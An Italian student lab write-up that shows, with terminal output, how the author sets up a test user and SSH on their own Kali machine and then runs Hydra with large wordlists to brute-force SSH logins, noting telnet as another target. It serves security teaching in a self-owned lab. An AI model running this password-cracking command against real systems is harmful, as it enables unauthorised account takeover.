[CONSEGNA SETTIMANA 6 LEZIONE 3]

Authentication cracking con Hydra

Un ulteriore attacco, oltre a quelli mostrati, si esegue tramite il software ***Hydra***. Utilizzabile sia graficamente che da linea di comando, ci permette di effettuare attacchi alle password, utilizzando metodi come il **brute force** o il **dictionary attack**.

Seguendo le istruzioni ricevute, ho creato un nuovo utente con *id = test_user* e *password = testpass*.

```
┌──(root㉿kali)-[/home/kali]
└─# adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
        Full Name []: test
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

A questo punto abilitiamo il **servizio ssh**.

```
┌──(root㉿kali)-[/home/kali]
└─# ssh test_user@192.168.5.80
The authenticity of host '192.168.5.80 (192.168.5.80)' can't be established.
ED25519 key fingerprint is SHA256:SOmwBopZUEjvB6Kp2dYamBLfpHgf+M54sVGTXGdouf8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.5.80' (ED25519) to the list of known hosts.
test_user@192.168.5.80's password:
Linux kali 6.5.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
┌──(test_user㉿kali)-[~]
└─$
```

Tramite due liste di username e password, prese da github, possiamo utilizzare Hydra per eseguire un brute force, con il seguente comando.

```
┌──(kali㉿kali)-[~/Downloads]
└─$ hydra -L xato-net-10-million-usernames.txt -P xato-net-10-million-passwords-1000000.txt 192.168.5.80 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these **s ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-17 08:28:10
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295455000000 login tries (l:8295455/p:1000000), ~2073863750000 tries per task
[DATA] attacking ssh://192.168.5.80:22/
```

A questo punto Hydra procederà ad inserire sequenze di username e password fino a trovare la combinazione corretta. Possiamo usare questo metodo su altri servizi, come ad esempio **telnet**.

In questo caso, prima di procedere con Hydra è necessario installare e abilitare il servizio tramite i seguenti comandi.

`apt-get install telnetd -y` **`systemctl status inetd`**